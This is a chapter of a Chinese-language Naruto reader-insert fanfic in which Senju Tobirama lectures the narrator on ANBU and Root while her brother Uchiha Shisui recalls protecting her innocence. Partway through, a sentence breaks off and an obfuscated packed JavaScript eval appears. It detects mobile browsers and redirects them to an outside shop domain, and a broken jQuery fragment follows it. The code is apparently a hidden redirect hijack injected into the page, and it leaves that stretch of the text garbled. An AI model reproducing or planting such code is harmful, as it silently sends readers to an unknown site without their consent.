回去之后,千手扉间果然说到做到。他雷厉风行,安排的课业摞一起足足有三个你那么高。不止上课时帮你把知识点掰开揉碎细细讲解,还要默写、抽查、背诵。
首先要纠正的就是你对于根部的认知。
“根部名义上属于暗部的一部分,你觉得暗部是什么?”
千手扉间站在萎靡不振的你面前,开启了继你哥之外,新一轮的世界观资料包传输。
此人还不知从哪里整了块小黑板,此刻正敲着黑板提问,真够有仪式感的。
“呃……直属于火影的特种部队?”
你隐约记得应该是特务机关那一类的地下部门。
你看千手扉间没有点头,也没露出任何代表满意的神色,只好继续努力回想。
关于这个部门,因为你哥就是暗部成员,所以你特地去了解过,还好奇地问过你哥。
但他对此讳莫如深,一直不肯跟你细说,只说是干脏活累活的。有一次说完之后还顿了一下,才继续开口道,你以后应该不会进这种部门,既然这样,没必要知道那么多。
况且,作为一个宇智波,知道太多对你来说也不好。
后面这句话,宇智波止水没有说出来。
那时他低头看着你,正对上你好奇的眼神。你正对着他笑,小小的黑色眼眸异常澄澈,倒映着他扭曲的身影。
看着这样的眼睛,宇智波止水的呼吸停了一瞬。
等你知道的足够多,多到能够明白日常中潜藏着怎样汹涌的暗流;多到可以察觉到所有这些隔阂与危险、猜忌与不公;多到只要一听到暗部这个词,就能迅速联想到无数的血腥与污秽、丑陋与罪恶——
你还会像现在这样,无忧无虑地对他笑吗?
你还会像这样探究他的工作,提到暗部时眼里闪烁着好奇的光亮,平时最大的烦恼不过是体术课又输了,或者觉得哥哥回家次数太少吗?
多么简单的烦恼啊。
又是多么奢侈的烦恼。
简单到令人会心一笑,又奢侈到只有现如今的木叶,安稳又平和的木叶,才能养出这种普普通通、甚至带点孩子气的烦恼。
被誉为忍界豪族的宇智波有很多人。
很多很多。
多到足以名扬五大国。
多到即便死去无数人,也总有新的人可以顶上。
多到和千手征伐数百年无休无止,到了最后,仍旧是忍界豪族之一。
哪怕写轮眼血继限界的威名响彻大陆,也从无人敢明目张胆进行掠夺。
被誉为火之宇智波的一族,就是这样的存在。
那时的宇智波止水在你面前半蹲下身,抬起头,细细描摹着你的眉眼。
“哥哥?”你不明所以。
“真澄,你觉得我们一族的人多吗?”
“嗯……应该算多的吧?这里有很多街区不是吗?每天都能见到好多人。很多我到现在也不认识。”
“是啊。”宇智波止水闭目低喃,“……真是太多了。”
就算在和平的木叶,宇智波的人也还是太多了。
多到众口不一,多到一盘散沙。
多到即便是一个个活生生的人,也能被简单归类成一个个抽象的政见,概括成几种不同的声音。
有的宇智波闭上眼睛,安于现状,满足于一隅偏安。
有的宇智波见过了大陆蔓延的战火,渴望被木叶重新接纳,共同守护两者的和平。
也有很多很多的宇智波,还怀揣着属于旧时代的不甘和野望,像笼中困兽一样焦躁不安,意图掀起反叛的旗帜。
即便是最强大的宇智波,面对当下身处的木叶,仍然如陷泥潭。
无论哪一条路,都注定通向难以琢磨的未来。
宇智波的人真的太多了。
但,宇智波的人又太少了。
少到无力抗衡现下的木叶,少到无力维系和平的局面。
少到如果跟木叶彻底闹崩,无论哪方胜出,都注定只能两败俱伤。
“忍者是工具。”
从小到大,这句话,宇智波止水听了无数次。
照顾他的族人这么说,对他寄予厚望的长老这么说。
就连暗部、顾问,乃至于三代,也都是这么说的。
族人的期许、暗部的口号、所有人潜藏在话语中的未尽之言……他们日复一日、不厌其烦地向宇智波止水宣布着这样一个事实。
但这件事,宇智波止水很早就知道了。
忍者是工具。
但你不是。
你不需要是,他也不希望你是。
宇智波止水睁开眼,看见妹妹懵懂的眼神,突然笑了一下。
就当是他自不量力吧。
但是,工具这种东西,有他一个就够了。
宇智波一族也好,你也好。
他会拼尽全力去守护他所珍视的人,守护属于你们的未来。
他愿意用生命去践行这一点。
虽然听上去像是狂妄不羁之语。
可能困难重重,可能难于登天。
但,他是宇智波一族的天才,他有能力做到这些。
宇智波止水不是不知道妹妹有些过于天真、和这个世界格格不入的想法和理念。
但他不忍心戳破那些太过天真的泡影,将残酷的现实血淋淋地展现在你的面前。
你是宝贵的妹妹,是他从一个小豆丁看着长到这么大的孩子,是那个他每次回家,都站在门口翘首以盼的人。
他也曾犹豫过,迟疑过,自己会不会做错了。
你终究要有自保的能力。
如果这份保护反倒禁锢了你的成长。
如果他的保护,反倒让你失去了直面风暴的能力。
如果有一天,你失去庇护后骤逢黑暗,因为不适应而受伤,因为从未见识过世界的残酷而措手不及。
那他会不会做错了?
这个念头曾不止一次的出现过。在你问他暗部的事,他含糊带过的时候;在你抱怨体术课打不过同学,他耐心教你技巧,却没有狠下心给你来一场足以见血的教导的时候;在你以为自己哥哥只是个普通暗部,不知道他每次任务都有可能回不来的时候。
他想过,要不要跟你说……说一些,哪怕只透露一点。
但他没有。
在那场毕业考核上,你第一次制造出真正的尸体。不是教科书上轻飘飘的指导,也不是体术课上假装被干掉的同学,而是真实的尸体。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17654255|206917||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
是从温热到僵冷、亲手被你夺去呼吸的活生生的人。
那时你呕吐到晕厥。他抱着你,背着任务卷轴往木叶赶。你的脸色白得像纸一样,他紧紧抱着你,抱得越来越紧,好像一松开,你也会掉进那个你刚刚窥见、而他早已身处多年的世界里。
将卷轴塞到任务处时,他低头看了你一眼,想,算了。
算了吧。
又不是要你放弃当忍者,也不是停止对你的指导。他不会阻碍你的成长,不会剪掉你的翅膀。
你有天赋,是拥有无限未来与可能的雏鹰,终有一日会冲着无垠的蓝天展开翅膀。
他只是在想,能不能——就只是短暂地、短暂地,再维持一会儿那天真的泡影。
等你再大一点儿,等你再强一点儿,等你成长到足以面对这些的时候,他会告诉你的。不管是族里的事、暗部的事,还是那些他想过无数次、最终却都咽了回去的话,他统统都会告诉你的。
但不是现在。
现在的你不需要知道太多,只需要知道属于你这个年纪小孩子应该知道的,就可以了。
隔壁的佐助,不是也什么都不知道吗?他现在还在为手里剑投中靶心而高兴,还在追着哥哥的背影跑。
你也没比他大几岁,也还是个孩子。
会在体术课打输了以后,气鼓鼓地对着靶子练到手酸。
会徘徊在门口等他回家,看到他的身影时,就亮着眼睛扑过来。
那些沉重的、危险的、潜藏在黑暗里的事,有他一个人知道,一个人扛着,就可以了。
他很强,足以扛下来。
他也愿意去扛。
为了你天真的笑;为了你因为烤鱼烧焦这种事皱起的眉头;为了你因为打中靶心,而回头冲着他得意地扬下巴,眼神亮晶晶求表扬的那一刹那……
不过这些不需要让你知道。
你是他的妹妹。
最宝贵的妹妹。
作为妹妹,只需要安安心心,健康快乐地成长就可以了。
……
“这真的不是揠苗助长吗?”
你扁扁地趴在桌子上,提不起一丝力气,整个人已经燃尽了。
你对暗部的概念印象不够深,想了半天,除了重视保密以外,也只能记起你哥出任务时常带的白色动物面具。
放在学校的卷子上已经可以得满分了。
但这种程度,对于授课的千手扉间而言,显然是不足以让他满意的。
而这种不满意落实到具体行动上,就是先填鸭式塞给你一堆知识,再一点一点手动帮你捋顺。
其间加入了涉及到各种黑暗的内斗和秘闻。
听得你半信半疑。
你觉得这人生前一定是个阴谋论的高手,厚黑学的专家。
在他嘴里,已经从星露谷变异成阿卡姆的异世界印象居然还能继续更新迭代,画风直直冲着无限恐怖而去,还是带着纸牌屋这种政治惊悚剧的版本!
你趴在桌上,将脸埋进胳膊里,不愿面对这个新鲜出炉的老师。
此时此刻,你难得对这辈子身处的世界产生怀疑。
这场穿越到底把你干哪来了?
血腥暴力镜头一点没剪的三级片世界吗?